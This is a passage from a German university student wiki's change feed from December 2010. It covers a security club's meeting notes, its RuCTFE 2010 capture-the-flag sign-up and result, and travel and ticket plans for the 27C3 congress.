Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.&lt;br /&gt;
&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* Weblinks folgen vielleicht&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/CTFs/RuCTFE_2010&amp;diff=11626</id>
		<title>CInsects/CTFs/RuCTFE 2010</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/CTFs/RuCTFE_2010&amp;diff=11626"/>
		<updated>2010-12-26T19:05:11Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: citation is not needed&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Der [http://ructf.org/e/2010/ RuCTFE 2010] ist ein [http://www.cipher-ctf.org/CaptureTheFlag.php Capture the Flag] Wettbewerb, der jedes Jahr im Dezember ausgetragen wird. &lt;br /&gt;
&lt;br /&gt;
== Termine ==&lt;br /&gt;
=== Raum ===&lt;br /&gt;
Wir treffen uns in Raum F-629. Das ist ein Forschungslabor von SVS. Bildschirme, Netz und Netzwerk für Laptops sind da im Labor vorhanden. Tel.: 040/42883-2359&lt;br /&gt;
Während des CTF wird Raum F-630 als Besprechungsraum und Entspannungsraum dienen.&lt;br /&gt;
=== Zeiten ===&lt;br /&gt;
Wir treffen uns zur Vorbereitung am 18.12. am Nachmittag um alles&lt;br /&gt;
soweit herzurichten.&lt;br /&gt;
&lt;br /&gt;
== Anmeldung ==&lt;br /&gt;
Schreibe eine E-Mail an &amp;lt;cinsects@informatik.uni-hamburg.de&amp;gt; aus der hervorgeht, dass du aktiv teilnehmen willst. Zuschauer sind natuerlich auch herzlich willkommen, brauchen sich nicht anmelden und koennen einfach vorbeikommen.&lt;br /&gt;
Ihr könnt euch natürlich auch an Henning oder Olli wenden, die helfen euch sicher auch weiter.&lt;br /&gt;
&lt;br /&gt;
=== Teilnehmer ===&lt;br /&gt;
&lt;br /&gt;
# Henning (8pridoeh)&lt;br /&gt;
# Olli (7bestman)&lt;br /&gt;
# Sven (7neithoe)&lt;br /&gt;
# bjoernb&lt;br /&gt;
# Lars (nachdem er aus dem Weihnachtsfeierrausch erwacht ist)&lt;br /&gt;
# Marius (dito)&lt;br /&gt;
# teythoon&lt;br /&gt;
&lt;br /&gt;
== Ergebnis ==&lt;br /&gt;
Wir haben den 8. Platz von 56 teilnehmenden Teams gemacht.&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-CTFs]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=27C3&amp;diff=11625</id>
		<title>27C3</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=27C3&amp;diff=11625"/>
		<updated>2010-12-26T18:54:20Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: /* Rueckfahrt */ steht fest.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Dies ist die Seite zu dem im Jahr 2010 stattfindenden [[CCCongress]].&lt;br /&gt;
&lt;br /&gt;
= Hinfahrt =&lt;br /&gt;
Wir nehmen folgende Hinfahrt. Sollte das jmd nicht passen, bitte melden.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Hamburg Hbf 	So, 26.12.10 	ab 	12:24 	6a 	RE 4311&lt;br /&gt;
Schwerin Hbf 	So, 26.12.10 	an 	13:51 	2&lt;br /&gt;
 Umsteigezeit 26 Min. 		Umsteigezeit anpassen&lt;br /&gt;
Schwerin Hbf 	So, 26.12.10 	ab 	14:17 	3 	RE 37311&lt;br /&gt;
Berlin Hbf (tief) 	So, 26.12.10 	an 	16:29 	1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Pennen =&lt;br /&gt;
FIXME: Vorschlag: http://events.ccc.de/congress/2010/wiki/U_inn_Berlin_Hostel_27C3_special fuer 13 Euro die Nacht im 8er Dorm, ist aber weit weg. Oder eben A&amp;amp;O: http://www.aohostels.com/de/berlin/hotel-mitte/buchung/&lt;br /&gt;
&lt;br /&gt;
= Tickets =&lt;br /&gt;
Es wird Dauertickets nur im Vorverkauf geben!&lt;br /&gt;
Es wird Dauertickets nur im Vorverkauf geben!&lt;br /&gt;
Es wird Dauertickets nur im Vorverkauf geben!&lt;br /&gt;
&lt;br /&gt;
Wenn du kein Ticket hast aber eins moechtest, konsultiere http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale bzw. https://presale.events.ccc.de/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Rueckfahrt =&lt;br /&gt;
Wir fahren am 31.12.2010 um 05:16 Uhr von Berlin Hauptbahnhof mit dem ICE nach Hamburg Hauptbahnhof.&lt;br /&gt;
&lt;br /&gt;
= Call for Participation =&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Hallo,&lt;br /&gt;
&lt;br /&gt;
sicherlich hast du wie jedes Jahr schon lange auf diese E-Mail&lt;br /&gt;
gewartet ;-) Du bist ab sofort aufgefordert dich zu melden, wenn&lt;br /&gt;
du mit zum 27C3 fahren willst.&lt;br /&gt;
&lt;br /&gt;
Kurz:&lt;br /&gt;
=======&lt;br /&gt;
&lt;br /&gt;
  27C3  -  We come in peace&lt;br /&gt;
  Hinfahrt :     So. 26.12.10&lt;br /&gt;
  Rückfahrt:     Do. 30.12.10 / Fr 31.12.10&lt;br /&gt;
  Kosten:        ~165 E&lt;br /&gt;
  Anmeldefrist:  So. 21.11.10&lt;br /&gt;
  Wie:           E-Mail 4tmuelle@&lt;br /&gt;
&lt;br /&gt;
  ACHTUNG! Dieses mal gibt es _keine Abendkassentickets_ und Tickets&lt;br /&gt;
  ACHTUNG! koennen nur im Vorverkauf erworben werden. Wer ein Ticket&lt;br /&gt;
  ACHTUNG! haben moechte sollte es moeglichst bald erwerben, da erwartet&lt;br /&gt;
  ACHTUNG! erwartet wird, dass es einen grossen Ansturm geben wird.&lt;br /&gt;
  ACHTUNG! Die naechsten Vorverkaufstickets werden am 11.11 freigegeben&lt;br /&gt;
  ACHTUNG! es wird aber empfohlen sich schon jetzt im &lt;br /&gt;
  ACHTUNG! Vorverkaufssystem[1] zu registrieren, da der Account 24h zur&lt;br /&gt;
  ACHTUNG! Aktivierung braucht.&lt;br /&gt;
&lt;br /&gt;
[1] https://presale.events.ccc.de/accounts/sign_in&lt;br /&gt;
&lt;br /&gt;
Lang:&lt;br /&gt;
=======&lt;br /&gt;
&lt;br /&gt;
Der 27C3 ist der 27te Chaos Communication Congress in Berlin und findet&lt;br /&gt;
wie immer vom 27.12 bis zum 30.12 im Berliner Congress Center statt.&lt;br /&gt;
&lt;br /&gt;
Wir werden mit der Bahn hin- und zurückfahren und während der Zeit in&lt;br /&gt;
einem Hostel übernachten.&lt;br /&gt;
&lt;br /&gt;
Auf der &amp;quot;europäischen Hackerkonferenz&amp;quot; wird es vornehmlich eine Menge&lt;br /&gt;
Vorträge im Bereich Hacking, Science, Society, Culture und Community,&lt;br /&gt;
und viele fast schlaflose Nächte geben.&lt;br /&gt;
&lt;br /&gt;
Ein Zitat von der 27C3-Seite [1]:&lt;br /&gt;
| The 27C3 is the annual four-day conference organized by the Chaos &lt;br /&gt;
| Computer Club (CCC) in Berlin, Germany.&lt;br /&gt;
| The Congress offers lectures and workshops  on a multitude of topics&lt;br /&gt;
| and attracts a diverse audience of thousands of hackers, scientists,&lt;br /&gt;
| artists, and utopians from all around the world. The 27C3&#039;s slogan is&lt;br /&gt;
| “We come in peace”.&lt;br /&gt;
| &lt;br /&gt;
| For 27 years, the congress is organized by the community and&lt;br /&gt;
| appreciates all kind of participation. You are encouraged to &lt;br /&gt;
| contribute by volunteering, setting up and attending hands-on&lt;br /&gt;
| events or presenting your own projects to fellow hackers. &lt;br /&gt;
&lt;br /&gt;
Die Hinfahrt wird am 26.12 gegen Mittag mit Regionalbahnen stattfinden.&lt;br /&gt;
Übernachten werden wir vorraussichtlich im A&amp;amp;O Hostel Berlin Mitte.&lt;br /&gt;
Wer am 30ten zurückfahren möchte, hat hier die Auswahl zwischen früh und&lt;br /&gt;
günstig fahren oder spät und nicht ganz so günstig. Die frühe Variante&lt;br /&gt;
wäre mit Regionalbahnen und würde bereits um 19 Uhr in Berlin starten,&lt;br /&gt;
damit würdest du die letzten Vorträge verpassen. Die späte Rückfahrt&lt;br /&gt;
wäre mit dem ICE gegen 23 Uhr und wird 15-20 Euro mehr kosten, je&lt;br /&gt;
nachdem, welche Tickets verfügbar sind.&lt;br /&gt;
&lt;br /&gt;
Tickets fuer die Konferenz gibt es nur im Vorverkauf. Wenn du noch kein Ticket organisiert hast, schau auf http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale. Alternativ kannst du bestimmt einen befreundeten Hacker mit Bier oder schoenen Pflanzen bestechen, dir evtl. ein Ticket zu besorgen.&lt;br /&gt;
Um es glasklar zu machen: Es wird auf dem CCCongress *keine* Dauertickets geben. Wenn du noch kein Dauerticket hast, wirst du nicht in der Lage sein, an der ganzen Konferenz teil zu nehmen.&lt;br /&gt;
Falls du kein Ticket abbekommen hast gibt es die Moeglichkeit den CCCongress in einem Hackerspace deiner Wahl zu erleben. Mindestens der Attraktor wird &amp;quot;Peace Missions&amp;quot; abhalten. Fuer mehr Informationen schau auf http://events.ccc.de/congress/2010/wiki/Peace_Missions&lt;br /&gt;
&lt;br /&gt;
Da im letztem Jahr einige noch anschliesend auf der C-Base-Party waren&lt;br /&gt;
und erst am nächstem Tag zurueck gefahren sind, kam die Idee auf beim&lt;br /&gt;
nächsten mal (sprich dieses mal) das Hostel länger zu buchen. Daher gibt&lt;br /&gt;
es diesesmal die Option eine weitere Nacht im Hostel zu bleiben und erst&lt;br /&gt;
am nächsten Tag zurueck zufahren. Die zusätzlichen Kosten sind davon&lt;br /&gt;
abhängig wie viele dann länger dableiben. Man kann bei der C-Base-Party&lt;br /&gt;
aber auch sein Gepäck abgeben und die Nacht durchmachen :-)&lt;br /&gt;
Fuer die Rueckfahrt bietet sich dann der Berlin-Linienbus an.&lt;br /&gt;
&lt;br /&gt;
Wenn auch du Lust bekommen hast, dieses Jahr dabei zu sein, antworte bis zum&lt;br /&gt;
&lt;br /&gt;
            Sonntag, den 21.11.2010 23:59h CET&lt;br /&gt;
&lt;br /&gt;
an 4tmuelle@ und teile mit, ob du&lt;br /&gt;
&lt;br /&gt;
            [ ] hinfahren&lt;br /&gt;
            uebernachten&lt;br /&gt;
              ( ) bis zum 30.&lt;br /&gt;
              ( ) bis zum 31.&lt;br /&gt;
            zurueckfahren&lt;br /&gt;
              ( ) früh am 30.&lt;br /&gt;
              ( ) spät am 30.&lt;br /&gt;
              ( ) am 31.&lt;br /&gt;
         &lt;br /&gt;
willst oder irgendwelche Extrawünsche hast.&lt;br /&gt;
&lt;br /&gt;
Die Kosten belaufen sich derzeit auf ca.&lt;br /&gt;
&lt;br /&gt;
 ~75 Euro für die Übernachtung (4x~18.75)&lt;br /&gt;
 ~ 8 Euro Hinfahrt&lt;br /&gt;
 ~11 Euro frühe Rückfahrt oder ~30 Euro für die späte Ruckfahrt&lt;br /&gt;
  70 Euro Eintritt[2]&lt;br /&gt;
 --------------------&lt;br /&gt;
 165 Euro Gesamt (früh) / 185 Euro Gesamt (spät)&lt;br /&gt;
&lt;br /&gt;
Ansonsten findest du weitere Informationen auf der Website des&lt;br /&gt;
Kongress[3] und in unserem Fachschaftswiki[4].&lt;br /&gt;
&lt;br /&gt;
Gruß,&lt;br /&gt;
  Muelli&lt;br /&gt;
&lt;br /&gt;
[1] http://events.ccc.de/congress/2010/wiki/Main_Page&lt;br /&gt;
[2] Solltet ihr Mitglied im CCC sein kostet der Eintritt nur 45 Euro, &lt;br /&gt;
    der Jahresbeitrag betraegt fuer Studenten 36 Euro und die bekommt &lt;br /&gt;
    die letzte sowie alle folgenden Datenschleudern. Folglich: Mitglied &lt;br /&gt;
    werden lohnt sich, am besten gleich das Formular unter &lt;br /&gt;
    http://ccc.de/de/membership ausfuellen!&lt;br /&gt;
[3] http://events.ccc.de/congress/2010/&lt;br /&gt;
[4] http://mafiasi.de/27C3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=Vorlage:Aktuelles&amp;diff=11624</id>
		<title>Vorlage:Aktuelles</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=Vorlage:Aktuelles&amp;diff=11624"/>
		<updated>2010-12-26T18:53:16Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: 27c3&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!--&lt;br /&gt;
Alle aktuellen Termine stehen unter [[Aktuelle_Ereignisse]].&lt;br /&gt;
* &#039;&#039;&#039;Mi, 10.11.2010&#039;&#039;&#039; bis &#039;&#039;&#039;So, 14.11.2010&#039;&#039;&#039; - [[KIF-38.5-Darmstadt|Die 38.5te Konferenz der Informatikfachschaften]] in Darmstadt&lt;br /&gt;
* &#039;&#039;&#039;Do, 16.12.2010&#039;&#039;&#039; - [[KunterBuntesSeminar-WS10/Python_und_Django|Einführung in Python &amp;amp; Web Application Development mit Django]] im [[KBS|KunterBuntenSeminar]]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;So, 26.12.2010&#039;&#039;&#039; bis &#039;&#039;&#039;Do, 30.12.2010&#039;&#039;&#039; - Der [[27C3]] findet statt.&lt;br /&gt;
* &#039;&#039;&#039;Mo, 03.01.2011&#039;&#039;&#039; - Erster Vorlesungstag nach den Weihnachtsferien&lt;br /&gt;
* &#039;&#039;&#039;Fr, 04.02.2011&#039;&#039;&#039; bis &#039;&#039;&#039;So, 06.02.2011&#039;&#039;&#039; - [[FOSDEM 2011|Free and OpenSource Developer European Meeting]] in Brüssel&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
nächste as-sitzung im oktober.&lt;br /&gt;
http://www.verwaltung.uni-hamburg.de/gremien/as/termine.html&lt;br /&gt;
--&amp;gt;&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
</feed>